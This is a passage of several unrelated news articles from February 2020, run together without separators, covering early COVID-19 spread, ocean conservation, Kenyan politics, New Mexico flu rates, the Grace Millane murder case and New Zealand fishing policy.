eco-friendly applications in the areas of power generation, distribution and consumption. The biggest lever is to save energy and so use it more and more efficiently. Infineon's products and solutions are a key element of wind turbines and photovoltaic systems. They help increase the efficiency of large industrial plants and consumer goods, or supply the components needed for clean and smart mobility. All in all, products and solutions from Infineon helped reduce emissions by a net total of 54 million tons of CO 2 equivalent last fiscal year after deducting its own footprint. That corresponds to the average annual power consumption of 80 million inhabitants in Europe or the population of Europe's ten largest cities. About Infineon Infineon Technologies AG is a world leader in semiconductor solutions that make life easier, safer and greener. Microelectronics from Infineon is the key to a better future. In the 2019 fiscal year (ending September 30), the company reported sales of 8.0 billion euros with around 41,400 employees worldwide. Infineon is listed on the Frankfurt Stock Exchange (ticker symbol: IFX) and in the USA on the over-the-counter market OTCQX International Premier (ticker symbol: IFNNY). This press release is available online at www.infineon.com/presse. Follow us: Twitter - Facebook - LinkedIn SOURCE Infineon [ Back To TMCnet.com's Homepage ] More than a quarter of the Earth's oceans need urgent protection to give marine species space to live without human impact, scientists claim. To keep the aquatic creatures safe, researchers at the University of Queensland say millions of square miles of ocean should have any human activity restricted. This would include potentially banning fishing, commercial shipping and restricting pesticide runoff in waters covering a quarter of the Earth. The Northern Pacific Ocean near China and Japan as well as the Atlantic between West Africa and the Americas are key areas to keep clear, the team said. Scroll down for video Currently one-third of all marine species have less than 10 per cent of their range protected according to researchers from the University of Queensland Space required is based on how far different marine species need to roam for things like food and mating, the team said in a paper published in One Earth. Authors mapped more than 22,000 marine species habitats and created a model to identify the minimum area required to capture a portion of each species range. To ensure they have the space to roam without the risk humans pose more than 3.3 million square miles of water should be made into protected areas. The range is how far they need to travel and found that a third of all species have less than 10 per cent of where they need to go covered by protected places. 'Conserving the areas we've identified in our study would give all marine species a reasonable amount of space to live free from human impacts like fishing, commercial shipping or pesticide runoff,' said author Kendall Jones. As part of the study they included spaces of international importance for biodiversity and areas where human impact on the oceans are extremely low. They found that the total ocean area required for conservation varied from 26-41 per cent of all waters - depending on the proportion of each species range conserved. Director of Science at the Wildlife Conservation Society, James Watson, said the findings demonstrated the need for greater worldwide conservation efforts. 'The world's nations will be coming together in China this year to sign an agreement that will guide global conservation for the next ten years,' Professor Watson said. 'This science shows that governments must act boldly, as they did for the Paris Agreement on climate change, if we are to stop the extinction crisis facing many marine species.' Here is a diver with a pod of humpback whales but under the researchers protection scheme large areas of ocean would be restricted to little or no human activity He said it was crucial global conservation strategies involved rapid action to protect endangered species and ecosystems. 'We need to use a broad range of strategies such as no-fishing zones, community marine reserves and broad-scale policies to put an end to illegal and unsustainable commercial fishing operations.' The authors stress that ocean conservation was essential for people and biodiversity and not just marine species. 'Millions of people around the world depend on marine biodiversity as a crucial source of food and income,' Professor Watson said. 'A well-designed global conservation agreement will help preserve these livelihoods into the future.' The findings have been published in the journal One Earth. The Special Meeting of the ASEAN Coordinating Council in Vientiane, Laos The meeting attracted the participation of ministers of foreign affairs of the 10 ASEAN member states who shared information and discussed a common response to the new strain of coronavirus (COVID-19). Addressing the event, Vietnamese Minister cum Deputy Prime Minister Pham Binh Minh said that Vietnam has quickly implemented effective methods to fight against COVID-19. In the role of ASEAN chairmanship in 2020, Vietnam will continue promoting effective measures inside the region and between the ASEAN and its partners. Minh also believed that with strong determination and timely action by the governments and people in the region, the disease will soon end and investment and business activities will soon return to normalcy. "It is very important that ASEAN states unite to effectively respond to the challenges from the outbreak of the disease," he said. At the event, the ministers reviewed the ASEANs efforts both at the national and regional levels as well as co-operation with external partners and the international community to prevent and control the spread of COVID-19. They commended timely and effective actions undertaken by the ASEAN health sector and relevant sectoral bodies, including the ASEAN defence establishments, as agreed by the ASEAN Defence Ministers in Hanoi on February 19, 2020. Besides, the ministers stressed the resolve of ASEAN Member States to prevent the impacts of the disease from affecting the overall ASEAN Community building process and the normal functioning of the ASEAN. The Ministers noted the outcome of the Special Video Conference of ASEAN Emergency Operations Center (EOC) Network with China on February 20, 2020, which will further contribute to ASEAN-China collective efforts and co-ordination in addressing the outbreak. Particularly, the ministers discussed the way forward to strengthen ASEAN co-operation and collective action in curbing the threat from COVID-19 and agreed to reaffirm the ASEANs cohesiveness through joint actions of mutual assistance, including sharing transparent information, experience, and best practices; building capacity in the prevention, detection, research and treatment of COVID-19 and other emerging infectious diseases; providing appropriate consular support to ASEAN Member States citizens where needed, based on relevant guidelines agreed to by ASEAN Member States. They also expressed confidence in the states' collective ability to manage the situation. In addition, they affirmed the importance of enhancing the ASEANs responsiveness to act promptly and effectively to control the disease through promoting multi-sectoral and cross-ASEAN Community engagement, building upon existing efforts by the ASEAN health sector. The ministers also encouraged collective action by the ASEAN with the enhanced role of the ASEAN Coordinating Council as the main monitoring body and the ASEAN Secretariat serving as the regional co-ordination hub that helps facilitate networking and exchanging of timely information among relevant ASEAN bodies. It is expected that a consolidated report providing an update on the COVID-19 situation and response will be released at the 36th ASEAN Summit. Tao Warren had made a trip out the previous summer to mourn with her father the sudden death of her mother after a fall. They had been married for 60 years. Her father was still very sad months later, and she booked another trip to spend Chinese New Year with him and her brother, who lives in the same city. When she left the U.S, it was not yet known that the virus could spread from person to person. Within days, the virus was recognized as a worldwide threat to public health. She said her family had planned a trip to Hainan, a tropical island province in the South China Sea known for beach resorts. But they had to cancel the trip and several parties as people in Changsha took precautions to slow the spread of the virus. Now we couldnt do anything, she said. Chinese New Year was ruined. Back home, her husband was watching the headlines and getting more concerned. And I said, Tao, you need to get out of there, Ken Warren said. Her father, a medical doctor, agreed. A flight out of Changsha on Delta was canceled, and then another. He booked a flight on China Southern to South Korea, and that was also canceled. - Kericho senator Aaron Cheruiyot said he respects the former prime minister as a senior leader in the country - The outspoken Jubilee legislator, however, said he differs with the African Union envoy politically - Cheruiyot asked the ODM leader to engage all leaders who do not agree with him to discuss issues related to BBI Kericho senator Aaron Cheruiyot has said he loves and admires Orange Democratic Movement (ODM) leader Raila Odinga. The Jubilee Party lawmaker said he respects the former prime minister as a senior leader in the country. READ ALSO: TSC to promote 100k P1 teachers, increase salaries for tutor Kericho Senator Aaron Cheruiyot speaking at a past event. Photo: Aaron Cheruiyot. Source: Facebook READ ALSO: Ugandan general calls for arrest of people claiming to be poor In an interview with Citizen TV on Wednesday, February 19, morning, the outspoken legislator, however, clarified he differs with the African Union envoy politically. "I have nothing but love and admiration for Raila Odinga but that does not mean that I have to agree with him politically," Senator Cheruiyot said. ODM leader Raila Odinga held a meeting with Maa leaders ahead of Narok BBI rally on Saturday, February 22. Photo: Raila Odinga. Source: Facebook READ ALSO: Mzee wa miaka 80 afunga ndoa na mpenzi wake ajuza wa miaka 78 The senator's statement comes at a time when Narok county in Rift Valley is set host the Building Bridges Initiative (BBI) rally. The rally will be held on Saturday, February 22, at Narok Stadium. Raila met close allies of Deputy President William Ruto from the Maa community in Rongai on Monday, February 17, ahead of the highly anticipated sensitisation forum. The African Union envoy said the community has been sidelined for a long time and explained the BBI will ensure their issues are addressed fully. The meeting was informed by concerns that divisions have over the years made the Maa community lose out in negotiations that have shaped Kenya. Leaders expressed concern that the Maa delegation was divided at the Lancaster Constitution Conference and also in the making of the 2010 Constitution," he said. Cheruiyot asked Raila to engage all leaders who do not agree with him politically to discuss issues related to BBI. "As a statesman, Raila should be able to engage all leaders including those on the opposite sides, let him shed his tag as the ODM leader in his quest for unity," he said. Do you have a groundbreaking story you would like us to publish? Please reach us through news@tuko.co.ke or WhatsApp: 0732482690. Contact Tuko.co.ke instantly Diamond and Tanasha hawaachani kamwe: Kenyans and Tanzanian's impressed by their new song | Tuko TV Source: TUKO.co.ke Copyright 2020 Albuquerque Journal While a second peak of influenza is being experienced nationwide, New Mexicos flu rate is declining, even with two strains of influenza making the rounds. Still, New Mexico has the highest overall rate for hospitalizations among states that are part of a national influenza surveillance network, said State Epidemiologist Dr. Michael Landen. And this season, 110 deaths in New Mexico have been attributed to pneumonia and influenza, two of them children, he said. The Centers for Disease Control and Prevention said 92 children nationwide have died of flu this season. New Mexico, like most other states, does not track individual cases of influenza. What it does track is the rate of hospitalizations due to influenza and the percentage of outpatient visits that are for influenza-like illnesses, Landen said. Hospitalization surveillance is done in only 14 states, New Mexico being part of the network. We do surveillance in representative counties and hospitals that make up more than half the hospitalizations in the state. What weve noted is that of the 14 states that do this surveillance, New Mexico has the highest hospitalization rate for all ages, and particularly for children 4 years of age and younger. The rate of hospitalizations for those New Mexico children is 165 per 100,000 children, compared with the rate for the 14 surveillance states combined, which is between 60 and 70 hospitalizations per 100,000 children ages 4 and younger, Landen said. In early January, New Mexicos rate of influenza peaked, with nearly 12% of all outpatient visits due to people experiencing influenza-like symptoms. That rate has declined and is now at 7.8% of all outpatient visits, which is still higher than the current national rate of 6.8%, Landen said. The peak in influenza-like illness in early January was due to influenza B. Currently, most influenza cases in New Mexico are due to influenza A H1N1, though were not seeing a second peak of influenza-like illness as is occurring at the national level, Landen said. According to the CDC, the flu season had its earliest start in 15 years, with people in some Southern states reporting flu-like illnesses as early as October. That wave peaked in late December and began declining until a second surge began in late January. Last week, yet another surge was detected, the CDC said. Nationwide, the CDC estimates that this season there have been 26,000 influenza-like illnesses; 12 million influenza-caused medical visits; 250,000 hospitalizations; and 14,000 influenza-related deaths. In total, the CDC estimates that 26 million people have had the flu this season. Vaccinations remain a major tool in the fight against the flu. We know that overall vaccination coverage is about 50% in New Mexico, which is similar to the national percentage, Landen said. Were in the middle of the flu season, so its not too late to get one. The overall vaccine effectiveness for any influenza virus this season is 45%, which means getting vaccinated will reduce your chance of needing medical attention for influenza by 45%. The range of flu shot effectiveness is typically between 40% and 60%, he said. Landen also cautioned people not to be confused by lab tests that show positive for coronavirus. The common cold is a type of coronavirus, but thats not the COVID-19 coronavirus that originated in China, infected about 75,000 people, and killed more than 2,100 people. There is no COVID-19 coronavirus in New Mexico at this time, Landen said. Police said the woman went to an appointment at Acupuncture Cure on Fisher Avenue and was told to remove her clothing (except for her underwear) and put on a medical gown. While on the table, police said Sang Kim, 50, who owns the shop, touched the victim inappropriately and without her consent. A woman who dated Grace Millane's killer days after he murdered the British backpacker said he told her about a "friend" who had killed a woman during rough sex. Jesse Kempson strangled Ms Millane, of Wickford, Essex, in a hotel in Auckland on December 1, 2018 the day before her 22 birthday. Her body was later found buried in a suitcase in a forested area outside the city in New Zealand. The defendant, now 28, claimed Ms Millane, whom he met on Tinder, died accidentally after the pair engaged in rough sex that went too far . Grace Millane inside a hotel lift with the 27-year-old male who is accused of her murder / PA A jury in November rejected that argument and found Kempson guilty and he was sentenced to a minimum of 17 years behind bars on Friday. Now a woman who dated the killer days after the murder has told the BBC how the his strange behaviour set her alarm bells ringing. During the date, he told an anecdote about a "friend" who accidentally killed a girl during rough sex that was eerily similar to the defence he would run at trial. "He told me about a guy he knew in Australia who had consensual rough sex involving strangulation with his girlfriend but ended up accidentally killing her," she said. "It was an accident - things went wrong and he was really upset by that because he loved her - but the guy got done for manslaughter and was sent down for a long time. "What we know now is this could have been him testing out his story on me." The parents of Grace Millane, David and Gillian Millane / Getty Images The woman told her story as a cautionary tale about the dangers of online dating. She said her instincts kicked in due to his strange behavior, and she walked away from the killer at the end of their date, even though her car was in the same direction as his. "I do think if it had been a date in the evening potentially I could have been a victim," she said. I think the invention of dating apps is a wonderful thing and I wouldnt want to live in a world without that, but I just wish for a world where women dont have to think about their safety all the time. During the trial, the jurors heard from forensic experts who examined Kempsons apartment for blood stains, as well as Miss Millanes body after her death. They were also shown footage of the woman and the defendant drinking at various bars in Auckland and kissing before they returned to his apartment. Grace Millane at The Mexican Cafe in Auckland with the 27-year-old male who is accused of murdering her / PA Video footage of her exiting an elevator on the third floor marked the last recorded time Miss Millane was seen alive. Police officers said phone data showed the killer had used Google to browse websites for large duffel bags, suitcases and car hire after Miss Millane died. The defendants phone was also used to search for flesh-eating birds and are there vultures in New Zealand?. Records showed Kempson had searched online for the hottest fire, large bags near me and Waitakere Ranges. The Millane family have now set up a charity in her memory, called Love Grace, where handbags and toiletries are collected for domestic abuse victims. The project is now running in the US, Canada, New Zealand and Britain.# New Zealand govt acts as advocate for fishing industry at international meeting February 20,2020 | Source: Scoop As a result of the New Zealand Governments lobbying efforts on behalf of the fishing industry, a regional fisheries meeting this week has only made small steps toward increasing protection of the ocean from bottom trawling, and a Talleys vessel has been taken off an international blacklist. The South Pacific Regional Fisheries Management Organisation (SPRFMO) concluded its meeting in Vanuatu last night with disappointing results for deep sea life, largely as a result of New Zealands efforts to protect its destructive bottom trawling industry. One of the ways SPRFMO protects deep sea corals is with the so-called "move on rule" where fishing vessels must move to a new fishing area if they exceed the amount of destruction allowed to a particular species. The weight limit was previously set at 250kg for stony corals, but recent research showed that 250kg in the trawl net meant up to 85 tonnes of coral destroyed on the seabed. In response to the science, the EU proposed reducing the limit to 25kg in the net, which would have significantly reduced the damage to deep sea corals. The proposal was supported by the US and Australia, but was vehemently opposed by New Zealand fishing industry lobbyists the High Seas Fishery Group, led by Talleys, and the New Zealand Government. The resulting weak compromise sets a new 80kg limit, allowing as much 33 tonnes to be destroyed on the seabed in a single trawl. "The New Zealand bottom trawling industry is stuck in a mindset of dragging up as much profit from the deep sea as it can get, no matter what the cost to our ocean. Other countries are trying to move on from this scorched-earth approach to fishing, but the New Zealand Government seems determined to let our industrial fleets continue their rampage," said Jessica Desmond of Greenpeace New Zealand, at the meeting as part of the Deep Sea Conservation Coalition delegation. The New Zealand Government also insisted that a Talleys fishing vessel, the Amaltal Apollo, be taken off the SPRFMO draft IUU (Illegal, unregulated, unreported) blacklist, despite trawling 14 times in an area closed to fishing in May 2018. The vessel was allowed to continue fishing in international waters for the rest of the 2018 fishing season. While the government is prosecuting the company and the skipper, the case still hasnt been through the courts and MPI is still letting the vessel fish in New Zealands seas in the meantime. "As a Kiwi, Im appalled. The New Zealand Government has basically just gone to bat for Talleys, despite its pending prosecution, and managed to get the Amaltal Apollo removed from the draft blacklist even though nothing has changed since last year when it was blacklisted. The ship is still fishing - just not on the high seas - and we call on the Government to refuse it a high seas permit in this years fishing season," said Desmond. "Its sad to say, but the New Zealand Government has been captured by the deep-water fishing industry. It is acting as their advocate rather than as a government." Scoop Media Theme(s): Post Harvest Technology and Trade, Others, Landing Centres, Fisheries Development and Aquaculture, Communities and Organisations, Fisheries Resources, Fishing Craft, Gear and Fishing Methods, Coastal Ecosystems and Threats, Freshwater ecosystems and threats. ANNAPOLIS, Md. - A Naval Academy midshipman was found dead in a dorm at the Maryland school. The academy says midshipmen, faculty and staff at the campus were told of the death Friday morning, and counselling services are being offered. The academy says the student was found unresponsive in Bancroft Hall, the academys dorm in Annapolis, Maryland, Thursday night. The cause of death is being investigated. The academy says foul play is not suspected. The identify of the midshipman is being withheld for 24 hours after next of kin notification. Earlier this month, Midshipman Duke Carrillo, of Flower Mound, Texas, died while taking a physical readiness test. CHEYENNE, Wyo. - A disputed effort to help native bighorn sheep in Grand Teton National Park was scheduled to start Friday with a helicopter buzzing over rugged peaks with sharpshooters aboard tasked with killing nonnative mountain goats. Park officials closed off a large portion of the Teton Range to the public for the eradication effort and planned to begin the flights in the afternoon, park spokeswoman Denise Germann said. The operation was scheduled despite opposition from Wyoming officials including state Game and Fish Department Director Brian Nesvik, who protested Friday in a call with acting Grand Teton Superintendent Gopaul Noojibail. Emails sent to Germann Friday afternoon asking whether the hunt had begun were not immediately returned. We again asked them not to use this method of removal. We were told, Thank you for your comments, this is what were going to do, department spokeswoman Rebekah Fitzgerald said. Department officials arent opposed to shooting the goats, Fitzgerald said, just doing so from a helicopter. The 100 or so goats in the park are descended from animals introduced near the western Wyoming park decades ago. They could spread pneumonia to a herd of about 100 native bighorn sheep, officials have said. The goats also compete with the bighorns for food and habitat on the steep slopes of the famous craggy mountains. The parks plan to eradicate the goats also calls for using sharpshooters on the ground. The National Park Service has been keen to go after the goats before they become too numerous to be easily eliminated from the nooks and crannies of the rugged backcountry. Winter in some ways is an ideal time because few park visitors venture into the Tetons in winter compared to the busy summer tourist season. Fridays weather in the Tetons was a chilly 18 degrees (-8 Celsius) but clear and calm. Foul weather called off a previously scheduled helicopter-borne attempt at shooting the goats in January. After that eradication effort was postponed, the Wyoming Game and Fish Commission board that sets state hunting rules and limits passed a resolution demanding that the National Park Service only use hunters on the ground to pursue the mountain goats. Hunters on foot could at least try to recover the goats they kill so the meat would not go to waste, commissioners said. The National Parks Conservation Association, a non-profit group that lobbies to protect and enhance the U.S. National Park system, does not object to the helicopter goat shooting, said group program manager Sharon Mador. But she said her group worries that the eradication program could lead to members of the public eventually getting hunters on foot permission to kill the goats. It would be an ad-hoc hunt in the park, Mader said. Unusually for a national park, Grand Teton allows elk hunting. The law that established Grand Teton in its current configuration in 1950 provides for an annual elk reduction program for licensed citizen hunters help keep elk numbers in check, Mader noted. Olympic National Park also has been struggling with growing numbers of nonnative mountain goats but has been using helicopters to capture and move them alive to North Cascades National Park, where they are native. The two parks are in Washington state. ___ Follow Mead Gruver at https://twitter.com/meadgruver MEDFORD, Ore. A group of mental healthcare advocates that recently criticized the new Jackson County Jail proposal is lobbying for a round-the-clock psychiatric crisis center in the county to deal with the area's mounting mental health needs. The National Alliance on Mental Illness Southern Oregon (NAMI SO) said it plans to address the Jackson County Commissioners at a public hearing on February 26. The organization said that it wants to collaborate with county agencies, coordinated care organizations, hospitals, and law enforcement to create the crisis center. "We consider the psychiatric crisis center a lynchpin for the systemic reforms we are looking for in the local mental health system," NAMI SO said in a statement. "This is a facility to which people could be brought for emergency treatment and stabilization instead of jailing or hospitalizing them." A resource like this would help reduce the need for new jail beds, the organization said, though it admitted that it would be necessary to have a new jail with a number of beds in line with the county's growing population. "We want to do this whether the jail proposal as written makes it to the May ballot or not," said NAMI SO spokesperson Pam Ames. "These services are so important to the health and safety of people in our county that we cant wait till after the jail is built to get started on establishing the crisis center." RELATED: Jackson County Board of Commissioenrs approves first reading, takes next step in approving new jail NAMI SO cited a Jefferson Public Radio story about a young woman who went to get help filling her prescription for psychiatric medication and was reportedly turned away by both Providence Hospital and Jackson County Mental Health because she had come to the "wrong door" before being referred to Columbia Care. "Upon arrival, she was in a state of confusion because she had run out of medication," NAMI SO said. "In the same article, Jason Farris, a former Columbia Care employee states, 'The leaders in mental health in Jackson County need to work together to fix the gaps in the system.'" According to the advocacy organization, the Eugene/Springfield Crisis Assistance Helping Out on the Street (CAHOOTS) program boasts a 24/7 mobile crisis intervention team as well as the motto "there is no wrong door" for help during a mental health crisis. NAMI SO asked members of the community to come to the public hearing next Wednesday to weigh in on the proposal. "Please be there to voice your opinion; it is essential for our democracy," the organization said. Technavio has been monitoring the horizontal directional drilling market and it is poised to grow by USD 2.75 billion during 2019-2023, progressing at a CAGR of 8% during the forecast period. The report offers an up-to-date analysis regarding the current market scenario, latest trends and drivers, and the overall market environment. This press release features multimedia. View the full release here: https://www.businesswire.com/news/home/20200221005029/en/ Technavio has announced its latest market research report titled Global Horizontal Directional Drilling Market 2019-2023 (Graphic: Business Wire) Increasing investments in offshore projects has been instrumental in driving the growth of the market. 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Technavio's SUBSCRIPTION platform Horizontal Directional Drilling Market 2019-2023: Key Highlights CAGR of the market during the forecast period 2019-2023 Detailed information on factors that will assist horizontal directional drilling market growth during the next five years Estimation of the horizontal directional drilling market size and its contribution to the parent market Predictions on upcoming trends and changes in consumer behavior The growth of the horizontal directional drilling market Analysis of the market's competitive landscape and detailed information on vendors Comprehensive details of factors that will challenge the growth of horizontal directional drilling market vendors About Us Technavio is a leading global technology research and advisory company. Their research and analysis focus on emerging market trends and provides actionable insights to help businesses identify market opportunities and develop effective strategies to optimize their market positions. With over 500 specialized analysts, Technavio's report library consists of more than 17,000 reports and counting, covering 800 technologies, spanning across 50 countries. Their client base consists of enterprises of all sizes, including more than 100 Fortune 500 companies. This growing client base relies on Technavio's comprehensive coverage, extensive research, and actionable market insights to identify opportunities in existing and potential markets and assess their competitive positions within changing market scenarios. View source version on businesswire.com: https://www.businesswire.com/news/home/20200221005029/en/ Contacts: Technavio Research Jesse Maida Media Marketing Executive US: +1 844 364 1100 UK: +44 203 893 3200 Email: media@technavio.com Website: www.technavio.com/ Health experts sounded the alarm Friday over the worldwide threat of the coronavirus, with officials warning of its "likely" community spread in the United States and the World Health Organization cautioning that "the window of opportunity is narrowing" for containing the outbreak worldwide. The COVID-19 coronavirus, which erupted in China in December, has killed at least 2,360 people and sickened at least 77,900 worldwide, the majority of cases in mainland China. Dr. Nancy Messonnier, director of the CDC's National Center for Immunization and Respiratory Diseases, told reporters Friday that U.S. health officials are preparing for the coronavirus to become a pandemic. Were not seeing community spread here in the United States, yet, but its very possible, even likely, that it may eventually happen, she said. Our goal continues to be slowing the introduction of the virus into the U.S. This buys us more time to prepare communities for more cases and possibly sustained spread. Follow all coronavirus updates: Get USA TODAY's Daily Briefing in your inbox The new coronavirus could become a pandemic: What is that? Should I be worried? She said the CDC is working with state and local health departments to ready our public health workforce to respond to local cases. These measures include collaboration with supply chain partners, hospitals, pharmacies and manufacturers to determine what medical supplies are needed. She said the day may come here where we have to shut down schools and businesses like China has done. Meanwhile in Geneva, the director-general of the World Health Organization, alarmed by the recent spread of the coronavirus from Iran, warned Friday that while the chance to contain the virus globally still exists, "the window of opportunity is narrowing." "We still have a chance to contain it, but we have to prepare for other eventualities," said Tedros Adhanom Ghebreyesus. "This could go in many directions, it could be even messy. It is in our hands now ... we can reverse or avert serious crisis. If we don't, if we squander this opportunity, then there could be a serious problem on our hands." Story continues Among other measures, Tedros called for financial aid to help countries fighting the virus to buy critical medical equipment and to strengthen their health systems. The Backstory: We asked one of the nation's top coronavirus officials some direct questions, and got direct answers The world community, he said, has a "fighting chance" to contain the spread of the virus, but we "must not look back and regret that we failed to take advantage of the window of opportunity that we have now." Tedros, speaking to reporters in Geneva, said the new cases in Iran show how the virus, which originated in Wuhan, China, is now moving not only to second countries, but to third countries in a lengthening chain of transmission. The cases that we see in the rest of the world, although the numbers are small, but not linked to Wuhan or China, its very worrisome, Tedros said. These dots are actually very concerning. The Global Health Security Index, which was issued last year, found that only 13 of nearly 200 countries score in the top tier, suggesting that most of the world would struggle to deal with a major outbreak of a deadly infectious disease such as Ebola. The index is a project of the Nuclear Threat Initiative (NTI) and the Johns Hopkins University Center for Health Security, with research by The Economist Intelligence Unit. 35 cases of coronavirus in the US The CDC reported that at least 35 people in the United States are infected with the virus. Of those, 14 were travelers who fell ill after returning from a trip abroad, while 21 were were people repatriated by the State Department. Messonnier, of the CDC, said more infections are expected from among passengers on the Diamond Princess cruise ship and are in quarantine. She said they are they are considered at high risk for infection because they may have come in contact with infected pesons on the ship. Coronavirus on cruise ships: 11 of 13 Diamond Princess evacuees taken to Nebraska test positive 5 deaths in Iran Iranian health authorities on Saturday reported a fifth death from the new virus that emerged in China, and said the fatality was from among 10 new confirmed cases of the virus in Iran. So far, 28 cases have been confirmed in Iran, including the five who died. People are being treated for the virus in at least four different cities, including the capital, Tehran, where some pharmacies had already run out of masks and hand sanitizer. Other cities are Qom, Arak and Rasht. Health ministry spokesman Kianoush Jahanpour made Saturday's announcement for the latest figures on state TV, but did not specify when the fifth death occurred. Two people had died earlier Friday from COVID-19, the illness caused by virus. Authorities reported two deaths previously this week. Jahanpour said that of the 10 newly detected cases, two were in the capital of Tehran and eight were in the city of Qom. That's where the first two elderly patients died on Wednesday. He said the two patients in the capital had visited Qom or had links with the city. An Iraqi traveler shows her passport to an Iranian officer at the Shalamjah border crossing, some 15 kilometers southeast of the city of Basra, upon their return from Iran on Feb. 21, 2020. Iran reported two more deaths among 13 new cases of coronavirus in the Islamic republic, bringing the total number of deaths to four and infections to 18. Following the announcement, Iraq clamped down on travel to and from the Islamic republic. The health ministry in Baghdad said people from Iran had been barred from entering Iraq "until further notice". Minoo Mohraz, an Iranian health ministry official, previously said the virus possibly came from Chinese workers who work in Qom and traveled to China. She did not elaborate. A Chinese company has been building a solar power plant in Qom. Elsewhere in the region, Saudi Arabia announced that citizens and residents of the kingdom are not permitted to travel to Iran following the spread of the virus there. Anyone previously in Iran will only be permitted entry to the country after the 14-day incubation period of the virus has passed. At the same time, Lebanon announced Friday its first confirmed coronavirus case in the country from an individual who had apparently picked up the virus during a visit to Qom, according to Lebanese Health Minister Hammad Hassan said during a news conference Friday. In Canada, a woman in her 30s was diagnosed with a mild case of the virus after a trip to Iran, prompting authorities to notify those who traveled with her on the same aircraft, according to health officials in British Columbia. 2nd death in Italy; 10 northern towns on lockdown Schools, businesses and restaurant were closed in nearly a dozen northern Italian towns Saturday following reports of two deaths in the region tied to the virus. A female resident in the Lombardy region died only hours after a 77-year-old man succumbed near Padua, in the Veneto region, the ANSA news agency reported. Local authorities in Lombardy and Veneto ordered the lockdown, including the cancellation of sporting events, while the mayor of Milan, the business capital of Italy, shuttered public offices. In Veneto, civil protection crews set up a tent camp outside a closed hospital, where several confirmed cases were being held in isolation, to screen medical staff for the virus. In hard-hit Codogno, where the first patient in the north to fall ill was in critical condition, the main street was practically a ghost town Saturday. The few people out on the streets were wearing coveted face masks, which were nearly impossible to find in sold-out pharmacies. Coronavirus, explained: Everything to know about Covid-19, the deadly virus alarming the world China's leaders say nation yet to turn corner in virus fight Restaurant workers wear face masks as a preventive measure against the COVID-19 coronavirus as they sell packaged meals in a car park outside their restaurant in Beijing on Feb. 21, 2020. As China once again shifts it methodology for counting coronavirus cases, China's top leadership on Friday cautioned that the country had not yet turned the corner on halting the spread of the virus that has killed more than 2,200 people. We should clearly see that the turning point of the development of the epidemic across the country hasnt arrived yet, the Communist Partys Politburo Standing Committee said at a meeting led by President Xi Jinping and reported by state broadcaster CCTV. The 25-member Politburo, made up of the senior officials of the ruling Communist Party, said the situation in Hubei province and its capital, Wuhan, where the outbreak erupted in December, remains grave. The latest warning followed several days of official reports indicating a downward trend in newly reported cases. The data, however, has been muddied by another change in how the country's health authorities count cases. China last week began recording cases without waiting for lab results, which caused a big spike in cases. On Thursday, health officials returned to counting only lab-confirmed positive cases, discounting some cases where lab tests came back negative. The National Heath Commission earlier reported almost 900 newly confirmed cases in the previous 24 hours, with the death toll rising by 118. The 25-member body said the outbreak has been preliminarily contained and urged party committees and governments at all levels to carry out prevention and control work without any relaxation to win the peoples war against the epidemic. In the latest cause for alarm, officials in Hubei Province, the epicenter of the outbreak since December, more than 500 cases were diagnosed in prisons, Justice Ministry official He Ping told reporters at a daily briefing. Seoul bans rallies, curbs church meetings over virus scare A man wearing a face mask walks in front of the Daegu branch of the Shincheonji Church of Jesus in the southeastern city of Daegu on Feb. 21, 2020 as more than 80 members of Shincheonji have now been infected with the COVID-19 coronavirus. The Seoul city government on Friday said it will ban rallies at three major public squares in the city center and close down churches operated by the Shincheonji religious movement in a bid to thwart any spread of the coronavirus in South Korea. Seoul Mayor Park Won-soon said the aim was "to protect the elderly who are susceptible to contagious diseases," according to the Yonghap news agency. Violators could be fined up to the equivalent of $2,500. Prime Minister Chung Sye-kyun, declaring the country in an "emergency phase," said in a televised statement the central government will concentrate its support to the southeastern region to ease a shortage in sickbeds, medical personnel and equipment. South Korea, which has reported 204 cases, recorded its second virus-related death Friday. Many of the cases have been clustered around Daegu, a southeastern city, raising fears that the outbreak is getting out of control. Most of the new cases there are linked to the Shincheonji church, which claims about 200,000 followers in South Korea. It said it has closed all of its 74 sanctuaries around the nation and told followers to instead watch its worship services on YouTube. First defense against coronavirus: 20 seconds of proper hand-washing Villagers in Ukraine block roads in virus protest Some residents in Ukraine's Poltava region blocked roads, burned tires and threw stones at buses because of the state's plan to house more than 70 evacuees from China in a sanatorium in the village of Novi Sanzhary, according to local media reports. The 45 Ukrainians and 27 foreign evacuees had been airlifted from Wuhan. Nine police officers and one civilian were hospitalized as a result of Thursday's turmoil, and 24 protesters were detained. In a bid to reassure local residents, Ukrainian Health Minister Zoryana Skaletska voluntarily joined the evacuees for their 14-day quarantine. The incident coincided with the circulation of a phony email that Ukrainian intelligence officials said originated outside the country, the Washington Post reported. The fraudulent missive claimed there were five cases of coronavirus in the county, although only two Ukrainians, who had been in a cruise ship, have been infected and both recovered while in quarantine. Contributing: Associated Press This article originally appeared on USA TODAY: Coronavirus: CDC warns of US outbreak of Covid-19, preps for pandemic Iraqi and Kuwaiti authorities were on high alert Friday after banning travel the previous day to and from Iran, where authorities say the death toll from the new coronavirus has hit four. Iran's health ministry Friday reported two more deaths among 13 new diagnosed cases of the COVID-19 virus, doubling the total number of deaths in the Islamic republic and taking the total number of diagnosed infections there to 18. Since December, the virus has killed more than 2,200 people in China, the epidemic's epicentre. Elsewhere in the world, it has killed over a dozen people and spread across some 26 countries. In the Middle East, two elderly men in Iran were the first confirmed deaths from the virus, which has also spread to the United Arab Emirates, Egypt and Israel, which confirmed its first case on Friday. Both Iraq and Kuwait, which respectively share land and maritime borders with Iran, have not confirmed any cases of the virus internally. But the outbreak in the Islamic Republic has sparked alarm, especially since many of the coronavirus cases involved residents of the holy city of Qom, a popular destination for Kuwaiti and Iraqi Shiites. Shiite leader Moqtada Sadr, a major figure in Iraqi politics, himself studies in an Islamic seminary in Qom. Iraq is a popular destination for millions of Iranian Shiite pilgrims, including religious scholars from Qom, who visit holy sites in the southern provinces of Najaf and Karabala. Iran is also the second-largest exporter of goods to Iraq, sending products to the value of around nine billion dollars annually. - Sistani urges preparation - Iraq's top Shiite cleric on Friday called on authorities to be ready to stem any outbreak. "The scale of preparations should match that of the threat," said Grand Ayatollah Ali Sistani in his weekly sermon delivered by a representative. "We call on relevant authorities to be up to the level of responsibility". A key player in Iraq, Iran supplies Baghdad with the energy it desperately needs to combat chronic power cuts and wields sizable influence over political and paramilitary factions in the country. American threats of sanctions and tit-for-tat bombings between US and Iranian forces on Iraq's soil have done little to stem the movement of people and goods between Tehran and Baghdad. The COVID-19 virus, however, has triggered unprecedented measures. Iraq on Thursday clamped down on travel to and from the Islamic republic, with Iraq's health 